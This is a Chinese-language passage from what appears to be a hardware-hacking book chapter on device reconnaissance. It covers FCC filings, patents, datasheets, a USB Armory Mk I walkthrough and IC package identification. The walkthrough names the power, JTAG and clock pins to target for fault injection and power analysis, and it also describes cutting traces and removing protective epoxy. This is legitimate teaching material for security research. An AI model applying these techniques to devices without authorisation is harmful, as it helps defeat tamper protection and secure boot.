信息收集个人信息搜集侦察让开发者 Joe 泄密——无论你怎么表达,这都是一个节省时间的重要步骤。如果你知道该去哪里找,很多信息是可以获取的。我们从最简单的方式开始,也就是在键盘前,之后我们将使用螺丝刀和其他工具。

在深入网络的更深处之前,你或许可以先搜索给定产品名称加上关键词拆解。常常会在多个来源中找到热门产品的拆解;例如,iFixit 网站(www.ifixit.com/)上就有许多流行产品的拆解,并附有详细的产品注释。对于消费品,注意查看产品的多个代际版本。例如,Nest Protect 智能烟雾报警器第二代设备在内部结构上与第一代设备有很大不同。公司通常不会区分这些代际产品,因为他们会停止销售旧一代设备,所以你可能需要通过型号或类似的信息来判断。

美国联邦通信委员会档案

联邦通信委员会 (FCC) 是美国的一个政府机构,负责从对电视上暴露特定身体部位罚款到确保最新的高速无线设备不会相互干扰等一切事务。它制定了美国市场上任何数字设备制造商必须遵守的规定。这些规定旨在确保设备不会产生过量的干扰(例如,你那款超炫的 5000 型设备导致邻居电视信号中断),并能在一定程度的电磁(EM)干扰下继续正常工作。

其他国家也有类似的机构和规定。FCC 特别有趣的是,因为美国是一个非常大的市场,所以大多数产品都是为了符合 FCC 规定而设计和/或测试的,并且 FCC 将备案信息数据库公开提供。

关于 FCC 备案

任何发射无线电波的数字设备,称为有意辐射源,都需要进行测试。FCC 要求制造商仔细测试设备的辐射,并提供文档证明设备符合 FCC 规定。这是一个非常昂贵的过程,FCC 需要确保公众能够轻松检查合规性。因此,像 USB armory Mk I 这样的开源闪存驱动器大小的计算机,标明它是一个开发平台,“可能会对附近的电气或电子设备造成干扰。”证明该标签可能不合理是非常昂贵的。

为了让公众进行合规性检查,有意辐射源必须公布一个称为 FCC ID 的标识,印在设备标签上。你可以在 FCC 网站上搜索该 ID,并确认该设备确实通过了合规性测试。这也意味着检测假冒 FCC 标签变得很容易,因为任何人都可以检查状态,而不仅仅是 FCC 的工作人员。

设备的 FCC 标签可能位于电池盖内部。图 3-1 显示了 D-Link 路由器标签的一个例子。

f03001

图 3-1:D-Link FCC 标签

如果设备不是有意辐射源,它仍然必须有 FCC 合规标志,但不会有 FCC ID。这些无意辐射源的报告要求较少,测试文档通常也不公开。

查找 FCC 备案

作为例子,图 3-1 中无线电路由器的标签显示 FCC ID 为 KA2IR818LA1,你可以在 FCC ID 搜索网站上找到该 ID。搜索工具将该 ID 分为两部分:授权代码和产品代码。FCC 分配授权代码,并且对于某个特定公司来说,这个代码始终是相同的。此前,该代码只有 FCC ID 的前三个字符,但自 2013 年 5 月 1 日起,它可以是三位或五位字符。公司分配产品代码,长度可以从 1 到 14 个字符不等。

回到路由器,授权代码是 KA2,产品代码是 IR818LA1。将这些信息输入搜索框后,会显示出如图所示的结果。该设备有三个备案,因为它可以在多个频段中工作。点击详细链接可查看报告和信函,包括外部和内部产品照片——通常是电路板的照片以及集成电路的详细信息。

基于 FCC ID KA2IR818LA1 调出内部照片后,你应该能轻松识别出主处理器是 RTL8881AB。你还可以看到某种类型的头针,这很可能是串行接口,因为它有大约四个引脚,并且电路板(PCB)上有多个测试点。你在没有动用螺丝刀的情况下就找到了所有这些信息。

f03002

图 3-2:FCC ID 搜索结果

FCC 等效项

图 3-3 中的 Nest 门铃没有显示 FCC ID。为什么?Colin 购买了这款设备,并且他位于加拿大,所以该设备不需要 FCC ID。相反,它只标有加拿大工业(IC)代码,这允许你在加拿大工业“无线设备列表(REL)”数据库中搜索匹配的“认证号”。

f03003

图 3-3:Nest 门铃

在 IC REL 数据库中搜索 9754A-NC51 会提供更多信息,但公共网站上没有详细的内部照片。参考资料中的产品代码部分(NC51)在 FCC ID 和 IC 设计标识符之间是共享的,因此快速查找更多信息的方法是到FCCID.io/进行部分搜索,查找 NC51。我们发现 FCC ID 是 ZQANC51,这让我们找到了内部照片。

专利

专利实际上是授予产品开发者的许可证,使其能够起诉在特定地理区域内销售复制原始产品运行方式的产品的公司,且在有限的时间内有效。理论上,专利只有在该明确的操作是新颖的情况下才会被授予。专利的目标是保护发明,由于本章讨论的是信息收集而非政治,我们就此打住。

大多数公司喜欢专利,因为他们可以利用专利来阻止竞争对手发布使用某种新技术或设计的产品。但有一个前提:专利必须解释该新技术如何运作。其背后的理念是,作为交换,为了透露关于新技术的宝贵细节,法律系统可以阻止任何人使用这些细节与发明者在有限的时间内进行竞争。

查找专利

在研究设备时,你可能会发现专利提供了关于如何处理设计中安全性或其他方面的有用信息。例如,在研究一个密码保护的硬盘时,我们找到了一项专利,描述了一种通过打乱分区表来保护硬盘的方法。

产品或手册上可能会有类似“受美国专利 7,324,123 保护”的声明。你可以轻松地在美国专利商标局(USPTO)网站或第三方网站(如 Google Patents)上查找该专利号。我们推荐使用 Google Patents,因为它可以搜索多个数据库,并且包含一个易于导航的通用搜索工具。

产品上常常标有“专利申请中”字样,或者你可能只会在产品文献中找到专利的引用。这通常意味着公司已经提交了专利申请,但该专利可能尚未公开。在这种情况下,搜索这些专利的唯一合理方法是通过公司名称来查找。确定专利可能归属的公司;例如,一个专利可能属于设备内部芯片的制造商,而不是设备本身的制造商。通常你可以找到授予该公司相关专利,并进一步通过该公司的律师事务所或其他相关发明人的专利进行搜索。

如果你找到了一项专利(或专利申请),实际发布的申请并不是你可以使用的所有信息。有一个名为 USPTO Public PAIR 的系统,可以让你查看几乎所有 USPTO 与专利申请人之间的通信。这些文件不会被搜索引擎索引,所以如果不使用 USPTO Public PAIR 系统,你是找不到这些文件的。例如,你可以看到 USPTO 是否在专利待审的情况下与申请人争论,或者你可以找到申请人可能上传的支持文档。有时你还可以找到专利的早期版本或申请人的论点,其中包含一些在 Google Patents 上找不到的额外信息。

一些有趣的专利逆向工程应用案例包括 Red Balloon Security 的 Thangrycat 攻击,详细内容见 DEF CON 报告《100 Seconds of Solitude: 利用 FPGA 比特流恶作剧突破思科信任锚》。在这次攻击中,Red Balloon Security 突破了思科的信任根,它使用了一种名为现场可编程门阵列(FPGA)的电子组件。美国专利 9,830,456 详细解释了架构,这些信息原本需要大量的逆向工程工作才能获得。

另一个专利对硬件黑客有用的例子是在 Black Hat USA 上的一个报告,标题为“GOD MODE UNLOCKED: x86 CPU 中的硬件后门”,由 Christopher Domas 主讲。在这里,美国专利 8,296,528 解释了如何将一个独立的处理器连接到主 x86 核心,并暗示了一些细节,这些细节最终导致了核心安全机制的完全被攻破。

专利甚至可能列出关于安全设备的详细信息。例如,Square 信用卡读卡器包含一个集成在微控制器安全部分塑料外壳中的防篡改“网格”。图 3-4 显示了四个大方形垫片(我们将在本章后面讨论更多 PCB 特征),这些垫片上有椭圆形区域,能够与防篡改网格外壳连接。

图 3-5 显示了与图 3-4 中所示的 PCB 连接的防篡改网格外壳的底部。

f03004

图 3-4:Square 信用卡读卡器内部结构,四个防篡改保护连接器位于每个角落附近

f03005

图 3-5:Square 读卡器的防篡改保护罩;暴露的连接将与图 3-4 中显示的 PCB 连接。

当你移除网格时,设备将停止工作,因此对设备进行逆向工程会迅速变得非常昂贵。然而,如果你在 Google 专利中搜索 US10251260B1,你会找到有关网格工作原理的详细信息。现在试试,看看能否将图 3-4 和图 3-5 的照片与专利图纸进行匹配。如果你以前没有接触过 PCB,等你完成本章后再回来看这些图,我们会解释一些你可以在这里看到的 PCB 特征。

Datasheet 和原理图

制造商发布 datasheet(无论是公开的还是在保密协议下)以便设计师了解如何使用他们的组件,但他们通常不发布完整的原理图。相反,你通常可以找到公开共享的逻辑设计,展示组件如何互联。例如,PCB 布局展示了物理设计——即所有组件的放置位置以及电线如何布置,但它通常不会公开。

尝试在线查找你最喜欢的设备或开发板的 datasheet,例如树莓派计算模块或英特尔 8086 处理器,或者随机查找闪存或 DRAM 内存的 datasheet。或者,如果你想了解模拟电路,可以找一个电平转换器的 datasheet。通常,你只需要根据前面提到的产品 ID 或其他标识符进行简单的互联网搜索。像 findchips 这样的网页(www.findchips.com/)也有助于定位当前产品。

查找特定零件的 datasheet 可能会有些困难。对于组件,首先确定零件号(请参见第 86 页的“识别电路板上的 IC”部分)。零件号通常看起来像是随机的字母和数字组合,但它们编码了零件的各种配置。例如,MT29F4G08AAAWP 的 datasheet 将零件号分解如下:

  • MT 代表美光科技。

  • 29F 是 NAND 闪存的产品系列。

  • 4G 表示 4GB 存储容量。

  • 08 表示一个 8 位设备。

  • 第一个“A”表示一个芯片,一个命令引脚和一个设备状态引脚。

  • 第二个“A”表示工作电压为 3.3V。

  • 第三个“A”是列出的特性集。

  • WP 表示该组件是一个 48 引脚薄小型外形封装(TSOP)。

搜索时,只需输入你在芯片上找到的任何零件编号。如果找不到精确的编号,可以去掉一些最后的字符再试,或者让你的搜索引擎建议一些相似的名称。

通常你会遇到过多的匹配结果,因为在一些非常小的元件上,完整的零件编号没有打印出来,只有一个较短的标记代码。不幸的是,搜索标记代码时,可能会返回成百上千个不相关的结果。例如,某个板上的特定元件可能仅仅标记为UP9,这几乎无法搜索。如果你将标记代码与封装类型一起搜索,通常会得到更有用的结果。在这个例子中,我们已经确认该封装为 SOT-353 封装类型(我们将在本章后面讨论封装类型)。针对标记代码,您可以找到 SMD(表面贴装设备)标记代码数据库,例如smd.yooneed.one/www.s-manuals.com/smd/,结合您对封装的了解,能够帮助你找到该设备(在此案例中是 Diodes, Inc.的 74LVC1G14SE)。

在查阅了几个数据手册后,你会发现它们有一些共同点。它们很少包含从安全角度有趣的信息。我们主要关心的是如何与设备互动,这意味着要了解它如何工作以及如何连接到它。引言部分会包含功能说明:它是一个 CPU、闪存设备或其他什么设备。要连接到它,我们需要查看引脚排列图以及任何描述引脚的参数,例如功能、协议或电压等级。你几乎肯定会找到一些在第二章中讨论的接口。

信息搜索示例:USB Armory 设备

让我们以 Inverse Path(被 F-Secure 收购)的 USB Armory Mk I 设备为例来查找信息。它是一个开源硬件,因此我们可以访问很多细节。在阅读这里的所有内容之前,尝试自己进行研究。去查找以下内容:

  • 主系统芯片(SoC)的制造商、零件编号,以及其数据手册。

  • PCB 上的 GPIO 和 UART。

  • 板上暴露的任何 JTAG 端口。

  • PCB 上的电源线和电压。

  • 外部时钟晶体线和频率。

  • 主 SoC 上的 I2C 接口连接到另一个 IC 的位置以及该协议。

  • SoC 上的启动配置引脚,它们在 PCB 上的连接方式,以及选择的启动模式和配置。

制造商、零件编号和数据手册

从 USB armory 的 GitHub 页面和 Wiki(inversepath.com/usbarmory_mark-one.html)上,我们可以看到 USB armory 基于 NXP i.MX53 ARM Cortex-A8。数据表名为 IMX53IEC.pdf,可以在多个地方找到。当搜索“imx53 vulnerability”时,我们在 Quarkslab 博客上找到了已知的 X.509 漏洞。如果继续深入查找,可能会找到一份名为“Security Advisory: High Assurance Boot (HABv4) Bypass”的公告,指出这些漏洞在 Mk II 中不存在。

PCB 上的 GPIO 和 UART

搜索“USB armory GPIO”,我们找到了其 GitHub Wiki(github.com/f-secure-foundry/usbarmory/wiki/GPIOs/),该页面提供了 GPIO 的详细信息。在前一节中提到的数据表中,我们可以找到所有 i.MX53 的 GPIO、UART、I2C 和 SPI 引脚。任何一个通信端口都很有趣,值得监控;它们肯定会传输控制台或调试输出。

JTAG 端口

如果没有被锁定,JTAG 应该能够通过 ARM 的调试功能提供对芯片的低级访问,因此我们需要了解任何暴露在板上的 JTAG 端口。进一步探索 GitHub 页面可以找到专门针对 Mk I 的 JTAG 页面(github.com/f-secure-foundry/usbarmory/wiki/JTAG-(Mk-I)/),该页面包含了 PCB 照片(见 图 3-6)。

f03006

图 3-6:USB armory JTAG 连接器引脚

图 3-6 显示了标准的 TCK、TMS、TDI、TDO、nTRST 和 GND(地)JTAG 连接。2v8 引脚提供 2.8V 电源,但 MOD 引脚怎么样呢?数据表对此没有明确说明。JTAG_MOD/sjc_MOD 在 i.MX53 引脚分配表中有列出,但并没有解释其含义。通过搜索相关产品,我们在 i.MX6 计算机模块的数据表中找到了一个解释(搜索“IMX6DQ6SDLHDG.pdf”;原 NXP 网站需要登录,但该 PDF 在其他地方有镜像)。该数据表解释了 low 将所有系统测试访问端口(TAP)加入链中,而 high 使其符合 IEEE1149.1 标准(仅对边界扫描有用,边界扫描的使用将在第 106 页的“使用 JTAG 边界扫描进行映射”一节中讨论)。查看 Mk I JTAG 页面底部的原理图,建议通过下拉电阻将其接地;这样可以将其 low 拉低,以启用系统 TAPs。正如你所看到的,有时综合不同的信息来源可以补全全貌。

电源和电压

关于 PCB 上的电源线和电压,我们可以查阅之前获取的数据表。搜索“power”、“Vcc”、“Vdd”、“Vcore”、“Vfuse” 和“ground/Vss”。你会发现现代 SoC 包括多个重复的这些术语实例,每个都代表一个针脚。电源层的各种子系统具有多个输入电压,这也是为什么有如此众多的针脚的原因之一。例如,闪存存储器可能具有比核心电压更高的电压。你还可能会发现支持多种标准的多个 I/O 电压。

第二个针脚数量众多的原因是它们经常会重复,有时甚至会多次重复。这有助于将电源和地针物理上靠近彼此,减少电感,帮助快速传递电源瞬变给芯片。

数据表中当然包含许多电源针脚,在此芯片中标记为 VCC(外围核心电压)和 VDDGP(ARM 核心电压),以及其他设计 ations。我们寻找电源针脚以找到注入故障和进行电力分析的方法,这些技术将在接下来的几章中学习。例如,如果你想监听 ARM 核心上的加密内容,你可以尝试探测 VDDGP。如果你想干扰 L1 缓存(VDDAL1)、JTAG 访问控制(NVCC_JTAG)或熔断写入(NVCC_FUSE),你可以尝试控制这些针脚。

真实的原理图对于学习这些电源针脚如何在电路板上连接非常有帮助。我们在 GitHub 硬件库中找到了一份名为 armory.pdf 的原理图(raw.githubusercontent.com/inversepath/usbarmory/b42036e7c3460b6eb515b608b3e8338f408bcb22/hardware/mark-one/armory.pdf)。PDF 的第三页列出了与 SoC 的电源连接。如果你跟随这些电源连接的 PCB 追踪线路,你会看到一堆去噪电容器(标记为 C48、C49 等),这些电容器用于去除电源噪声。你还会注意到连接名称以 PMIC_SW1_VDDGP 和 PMIC_SW2_VCC 等标签结尾。PMIC 意为电源管理 IC,专用于提供正确的电压。PDF 的第二页显示了主要电源(USB_VBUS)如何进入主要电源层(5V_MAIN),然后进入 PMIC,进而向 SoC 提供各种稳定电压。

这告诉我们逻辑上一切是如何连接的,但还没有告诉我们这些线路在 PCB 上的具体位置。为此,我们需要打开 KiCAD 设计文件中的 PCB 布局文件。

KiCAD 是用于设计 PCB 的开源软件。在这里,我们只使用它的百分之一功能来检查 PCB 布局。我们通过 KiCAD 的 pcbnew 命令打开了 armory.kicad_pcb 设计文件。一个 PCB 可能包括多层导电轨迹/走线,这些层会显示在程序窗口的右侧,并带有复选框用于启用和禁用它们。首先禁用所有层,只显示 PCB 上的焊盘。你会看到“U2”(主 SoC 的球阵列)位于中间,“U1”/PMIC 在左侧,“U4”/DRAM 芯片在右侧。

KiCAD 有一个很好的工具叫做 highlight net,可以让你点击任意位置并跟踪连接。假设我们想玩弄 JTAG 电源。缩放到 SoC,直到看到球名称,并找到 NVCC_JTAG 球,根据数据表它位于 G9\。你会看到如 图 3-7 所示的内容。

记得 JTAG 焊盘吗?看起来 NVCC_JTAG 连接到了用于 JTAG 电源的 2v8 焊盘。不过,在 PMIC 附近,你还会看到一些高亮显示的线。这些线属于同一网络,只是我们看不见这一部分,因为我们已关闭了所有层。通过逐个启用和禁用各层,我们发现有一层连接了它们:GND_POWER_1(见 图 3-8)。

白色圆点是 vias,即连接一层走线与另一层走线的小镀孔。一个 via 位于与 PMIC 连接的左侧,另一侧通过电源平面连接到右侧的 via,然后连接到通往 NVCC_JTAG 的线。如果我们想控制 NVCC_JTAG 的电源进行故障注入或电源分析,我们可以物理切断与 PMIC 的走线,并通过焊接一根线到 2v8 焊盘来提供自己的 2.8 V 电压。

f03007

图 3-7:使用 KiCAD 高亮显示一个互连网络

f03008

图 3-8:高亮显示 GND_POWER_1 层

时钟晶体与频率

要识别外部时钟晶体线和频率时钟,我们再次参考之前获取的数据手册。搜索“clock/CLK/XTAL”,你将发现四个有趣的外部振荡器引脚:XTAL 和 CKIL(及其互补输入 EXTAL 和 ECKIL),以及两个通用输入 CKIH1 和 CKIH2。通过搜索这些输入,我们找到了“i.MX53 系统开发用户指南”,文件名为 MX53UG.pdf。该部分内容提到的输入,再次引用了“i.MX53 参考手册”,我们找到的文件是 iMX53RM.pdf。根据参考手册,你可以编程这些输入,为各种外设提供时钟,如 CAN 网络和 SPDIF 端口。查看板子原理图,我们发现(E)XTAL 连接到一个 24 MHz 的振荡器,(E)CKIL 连接到一个 32,768 Hz 的振荡器,而 CKIH1 和 CKIH2 被拉到地面。USB armory 原理图显示这些引脚连接到两组焊盘,对应两个振荡器。这些振荡器就是图 3-9 中非常大的组件。

f03009

图 3-9:振荡器周围有白色丝印框。

时钟控制对两个主要目的至关重要:同步设备时钟的侧信道测量,以及促进时钟故障注入实验。在这种情况下,EXTAL 输入通过一个频率倍增器,然后为 ARM 核提供时钟。这里的 PLL(锁相环)将外部频率转换为内部时钟,可能会消除时钟中的任何异常,因此时钟故障注入可能无法进行,但我们仍然可以将自己的时钟注入到这些引脚中,以提供更精确的时钟同步来计数时钟周期。如果你要进行时钟同步,甚至不需要移除板上的晶体。你可以将时钟信号输入到晶体电路中,它将迫使晶体振荡器电路按照你注入的时钟脉冲运行。(更多关于时钟故障注入的内容,请参见第四章。)

I2C 接口

我们需要确定主 SoC 的 I2C 接口连接到另一个集成电路(IC)的位置,并且确定该接口上的协议是什么。USB armory 原理图显示第 30 和 31 引脚是 I2C,i.MX53 数据手册显示有三个 I2C 控制器。我们可以追踪布局,找到连接到 V3 的线,该接口名为 EIM_D21,是 GPIO 之一。EIM_D21 要么是 SPI,要么是 I2C-1。这是一个多路复用引脚的例子;SoC 本身可以配置为在该引脚上执行各种低级协议。

至于高级协议,我们需要深入挖掘——具体来说,是查看 PMIC 数据手册。PMIC 在 PCB 原理图中标识为 LTC3589,数据手册名为 3589fh.pdf。在 “I2C 操作”部分,数据手册详细定义了该协议。

启动配置引脚

了解引导配置引脚的位置、它们在 PCB 上的连接方式,以及这些引脚选择的引导模式和配置是非常有帮助的。目前,我们提供了一个如何查找数据的示例;无需担心理解技术细节。

i.MX53 的数据手册(IMX53IEC.pdf)提到各种 BOOT_MODE 和 BOOT_CFG 引脚,但没有定义它们的功能。在 Mk I 的原理图中,我们发现 BOOT_MODE 引脚(C18 和 B20)没有连接到电源或地线。

让我们先弄清楚 BOOT_MODE 未连接意味着什么。i.MX53 的数据手册中有一张表格,声明对于 BOOT_MODE0 和 BOOT_MODE1,"配置值"为 100 kΩ下拉电阻。PD 代表下拉,因此如果引脚未连接,它会被内部下拉到地。这意味着当引脚未连接时,BOOT_MODE0 和 BOOT_MODE1 引脚的逻辑值为 0。数据手册没有提及更多信息,但 i.MX53 参考手册(iMX53RM.pdf,这是一本 5100 页的好资料)提供了高级引导序列,显示 BOOT_MODE[1:0]=0b00 表示内部引导

现在,对于 BOOT_CFG,i.MX53 的数据手册显示,所有这些 BOOT_CFG 引脚都连接到以 EIM_ 开头的引脚,例如 EIM_A21\。请记住,这只是引脚的名称,而不是坐标。如果继续查找数据手册,你会发现 EIM_A21 是位于 AA4 位置的引脚名称(这个 AA4 是芯片上的位置,指的是 BGA 焊球)。有了这些信息,我们可以查看 Mk I 原理图,看看这些引脚是如何连接的。

结果显示,除了 BOOT_CFG2[5]/EIM_DA0/Y8 和 BOOT_CFG1[6]/EIM_A21/AA4 这两个引脚外,所有 BOOT_CFG 引脚都接地。BOOT_CFG2[5]和 BOOT_CFG1[6]通过一个电阻上拉到 3.3V。这些位被设置为 1,而所有其他 BOOT_CFG 位被设置为 0。在参考手册中查找 BOOT_CFG,我们找到了第 7-8 表,“引导设备选择”,其中有一行指定 BOOT_CFG1[7:4]设置为 0100 或 0101 表示从 SD 卡引导(在表中写为 010X)。设置 BOOT_CFG2[5]的效果似乎取决于所选择的引导模式。既然我们刚刚发现是从 SD 卡引导,那么第 7-15 表,“ESDHC 引导 eFUSE 描述”,是相关的。它指出 BOOT_CFG2[5]=1 表示我们使用的是 SD 卡的 4 位总线宽度。

还记得那个我们找不到相关信息的 MOD 引脚吗?参考手册中有你想知道的所有信息,甚至更多,关于 sjc_mod 引脚的描述也确认了我们之前找到的信息。如果你一开始找不到需要的信息,别灰心。

这些只是你可以从不同文档来源回答的一些问题的例子。数据手册通常很容易找到;而原理图、PCB 布局和/或参考设计比较少见。不过,你也可以通过逆向工程来获取信息,正如你将在下一节“打开外壳”中看到的那样。

打开外壳

和任何逆向工程任务一样,你的目标是进入系统设计者的思维。通过研究、线索和一点猜测,目的是理解足够的信息以完成任务。我们进行逆向工程的目的不是为了克隆或完整提取电路图,而是希望知道如何修改和/或连接到 PCB,从而实现我们的目标。如果幸运的话,可能有人已经研究过这个设备(或类似设备),如前所述,你可以尝试查找已有的拆解报告。

起初可能只有一堆集成电路的序列号、少量外部端口,以及看似无穷无尽的电阻和电容,但随着时间的推移,你将逐渐理解系统的工作原理。如果运气好,你还可以找到一个测试点或调试端口,进一步获得更多的访问权限。

识别电路板上的集成电路

我们并没有使用特定的设备来演示识别 IC 的技巧,因此,如果你想跟着做,可以找一款便宜的物联网(IoT)设备或类似设备,确保你不介意将其拆开。

你在现代电子设备中遇到的大多数印刷电路板(PCB)都是表面贴装的,与过去的通孔插装方式不同。这种技术叫做表面贴装技术(SMT),其上任何元件都叫做表面贴装元件(SMD)

一旦你打开设备,通常会看到一块单独的 PCB,上面有许多组件(检查 PCB 的正反面),其中最大的组件可能是主 SoC、DRAM 和外部闪存存储,如图 3-10 所示。

在图 3-10 的顶部中央位置,是一款 DSPGroup DVF97187AA2ANC 主 SoC 1。其左侧是 EtronTech EM63A165TS-6G SDRAM,采用 TSSOP 封装 2,SDRAM 上方是 Winbond 25Q128JVSQ 闪存,采用 SOIC-8 封装 3。除此之外,还有一款 Realtek RTL8304MB 以太网控制器 4。这款设备是一个非常低成本的 IP 电话,这或许能解释为何其 SoC 和 SDRAM 是你可能从未听说过的品牌。

第一步是读取芯片上的标记。你通常可以通过手机摄像头得到相当清晰的图像。图 3-11 展示了另一款设备——HDMI RCA 音频分配器的照片,这些照片是用普通手机摄像头和显微镜应用程序拍摄的。

f03010

图 3-10:识别电路板上的集成电路(IC)

f03011

图 3-11:芯片标记:左侧为闪光灯和良好角度;中间为闪光灯和不良角度;右侧为自然光

如你所见,通过改变拍摄角度并开关手电筒,你应该能拍出适合读取芯片标记的照片。另一种选择是使用便宜的 USB 显微镜摄像头;有关硬件信息,请参见附录 A。图 3-12 中的照片就是用这种相机拍摄的。

f03012

图 3-12:使用 USB 显微镜摄像头拍摄的照片

一旦你有了芯片上的标记,就可以运用你的侦察技能来挖掘该部件的信息。尤其是如果这是你第一次做这件事,试着识别所有的 IC 及其数据手册。即使大多数较小的组件从安全角度来看可能并不重要,你也会了解一些让设备正常工作的必要内容。我们通过这种方式学到了很多关于电压调节器和其他一些有趣的小 IC 的知识。

对于一些芯片,由于散热片或保护性封装,接触主芯片会有些棘手。你可以通过拆卸散热片,通常是旋开螺丝或轻轻拉起它来轻松去除。如果散热片卡住了(这种情况常见于小型设备),可以通过扭动的方式来去除,而不是直接撬或拉起它。

在高安全性的系统中,你会遇到保护性封装,制造商希望避免对芯片的访问。简单地剥离它可能不会成功,但你很可能会发现,用热风枪加热后可以很好地软化环氧树脂,然后可以用牙科小工具等工具将其去除。如果你想完全去除环氧树脂,可以尝试使用像二甲苯或去漆剂这样的化学品(这些在五金店有售)。

小型引脚封装:SOIC、SOP 和 QFP

在你进行 IC 识别时,你会遇到各种类型的封装。识别这些封装对硬件黑客有几个方面的用途。首先,你可以在搜索数据手册时用到这些信息。其次,封装类型实际上会影响你能够执行的攻击。有些非常小的封装提供了几乎芯片级的访问权限,我们将在后续章节中讨论的探针在这些小封装上也更易于使用。图 3-13 显示了你可能遇到的一些主要小型引脚封装。

f03013

图 3-13:小型引脚封装:SOIC、TSSOP 和 TQFP 样式

图 3-13 中的所有封装都有引脚;区别在于引脚之间的相对大小(间距)和引脚的位置。这个系列中有许多不同的变种,我们在这里不深入讨论,因为对于我们的目的来说,它们是等效的。例如,你可能会看到 薄型四方扁平封装(TQFP)塑料四方扁平封装(PQFP) 的提及,它们几乎是一样的,并且具有相似的引脚间距、引脚数量和封装尺寸。

最大的是 小型外形集成电路(SOIC),它在封装的两侧都有引脚,通常引脚间距为 1.27 毫米。这个封装很好,因为你可以在上面夹取抓取夹。通常,SPI 闪存芯片采用 8 引脚或 16 引脚宽的 SOIC 封装。

SOIC 的一个更小版本是小外形封装(SOP),通常为薄型 SOP(TSOP)或薄缩型 SOP(TSSOP)。这些封装也仅在两个边缘有引脚,且引脚间距通常在 0.4 mm 到 0.8 mm 之间。宽型 TSOP 封装(如图 3-14 所示的 48 引脚封装)几乎肯定是并行闪存芯片。

f03014

图 3-14:48 引脚 TSOP 封装

最后,四方扁平封装(QFP)的封装在四个边缘都有引脚,通常见于薄型 QFP(TQFP)塑料 QFP(PQFP)封装。这些封装在材料或厚度上有小的变化,但整体外形保持不变。引脚间距通常在 0.4 mm 到 0.8 mm 之间。

TQFP 的内部结构基本上包含一个小的中央 IC 芯片,它通过引线框与引脚连接。如果你打磨掉 IC 的一部分,你可以看到它的相对大小,如图 3-15 所示,这是一个 TQFP-64 封装。

如果你想保持物品更完好无损,你也可以使用酸性脱封装方法,但砂纸是几乎每个人都能安全使用的工具。

图 3-16 是 SOIC/SOP/TQFP 内部结构的简易示意图,展示了连接芯片和引脚的键合线。在图 3-15 中,显然移除了芯片从顶部往下打磨时所有的键合线痕迹。

f03015

图 3-15:QFP 封装;从左到右:顶部打磨掉、截面图和完好无损

f03016

图 3-16:SOIC/SOP/TQFP 封装的内部结构

无引脚封装:SO 和 QFN

无引脚封装与之前的 SOIC/QFP 封装类似,但不使用引脚,而是将芯片下方的焊盘焊接到 PCB 上。这个焊盘通常(但并不总是)延伸到设备的边缘,所以你通常会看到芯片边缘有一个小的凸起焊点。 图 3-17 是这些无引脚设备的简易示意图。

f03017

图 3-17:无引脚封装

小外形无引脚(SON)封装仅在两个边缘有连接。此类设备的典型引脚间距在 0.4 mm 到 0.8 mm 之间。和其他封装一样,也有许多变体,例如薄型 SON(TSON)。你也可能会看到各种定制的引脚布局,其中一些焊盘可能缺失。SON 封装几乎总是有一个中央热焊盘,焊盘下方通常会焊接到 PCB 上,这意味着你很可能需要使用热风来焊接或拆卸这个封装。由于你无法用焊接铁触及到隐藏的中央焊盘,你需要通过某种方法间接加热它,可以通过设备封装或 PCB 进行加热。

另外,注意 WSON 封装类型,官方似乎同时称其为超薄 SON宽型 SON。该封装比普通的 SON 封装宽,通常具有 1.27 mm 的引脚间距,常用于 SPI 闪存芯片。

四边无引脚封装(QFN) 包含四个边缘的连接。这些设备的典型引脚间距在 0.4 毫米到 0.8 毫米之间。同样,你几乎总能看到这些设备中央有一个热垫。它们广泛应用,可以是从主微控制器到电源开关稳压器的任何设备。

球栅阵列

球栅阵列(BGA) 封装的芯片底部有焊球,如图 3-18 所示,你从顶部无法看到它们。

f03018

图 3-18:BGA 封装

如果你能调整好角度,就能看到边缘焊球,如图 3-19 所示,在那里你还可以看到其实有一个更小的载体 PCB。BGA 芯片本身由一个更小的 PCB 组成,芯片被安装在其上。

f03019

图 3-19:边缘焊球视图

BGA 元件常用于主处理器或 SoC。一些 eMMC 和闪存设备也会使用 BGA 封装,而在更复杂的系统中,挂在主处理器旁边的较小 BGA 通常是 DRAM 芯片。

实际上,BGA 设备有几个变体,这对功率分析和故障注入可能很重要,因此我们将在此详细说明它们的构造差异。供应商使用略有不同的名称,但我们在这里遵循富士通的命名方式(a810000114e-en.pdf),这通常与其他供应商使用的名称相对应。

塑料 BGA 和精细引脚 BGA

塑料 BGA(PBGA) 设备的引脚间距通常为 0.8 毫米到 1.0 毫米(见图 3-20)。芯片与载体板内部连接,载体板上有焊球。

f03020

图 3-20:塑料 BGA

精细引脚间距 BGA(FPBGA) 与 PBGAs 相似,但其网格更精细(通常为 0.4 毫米到 0.8 毫米)。同样,该设备安装在载体 PCB 上。

热增强型球栅阵列

热增强型球栅阵列(TEBGA) 如图 3-21 所示,BGA 本身具有明显的金属区域。

f03021

图 3-21:热增强型球栅阵列

这个金属区域是集成热扩散器的一部分,有助于提供更好的热连接,既连接到底部的焊球,又连接到封装顶部的散热器。

翻转芯片球栅阵列(Flip-Chip BGA)

翻转芯片 BGA(FC-BGA) 如图 3-22 所示,去除了内部的连接线。相反,芯片本身实际上是一个更小的 BGA(这会很难操作),并被焊接到载体 PCB 上。这里的区别在于,与之前的 BGA 设备相比,内部的“LSI 芯片”是倒置的

f03022

图 3-22:翻转芯片球栅阵列

在其他封装中,如 PBGA/FBGA/TEBGA,内部的引线会接触到内部 LSI 芯片的“顶部金属”层。在 FC-BGA 中,该金属层位于底部,上面装有非常小的焊球。这种封装类型还可能包含小型的集成无源元件,例如去耦电容。对于 FC-BGA 封装,可能可以去除散热器或“盖子”,以更接近实际芯片进行故障注入或侧信道分析。

芯片级封装

芯片级封装 (CSP) 本质上是将切割下来的芯片晶圆的一部分提供给你。在图 3-23 所示的内部结构中,顶部没有封装材料。

f03023

图 3-23:CSP 内部结构

提供的设备几乎只有它物理上所需要的大小,通常 CSP 底部会有一些非常细小的球状连接焊点,用于连接到 PCB。CSP 这个名称可能有一些修饰词,如 晶圆级 CSP (WLCSP)。可以将 CSP 视为翻转芯片 BGA 的 LSI 芯片部分。它们的引脚间距非常小(通常为 0.4 毫米或更细)。你通常可以很容易地识别这些设备,因为其表面与常规 BGA 有明显的不同。

DIP、穿孔封装及其他

最早的封装是穿孔封装,尤其是 IC 封装中,现实产品中不太可能遇到它们。你在爱好或套件产品(例如 Arduino)中遇到 DIP 封装。

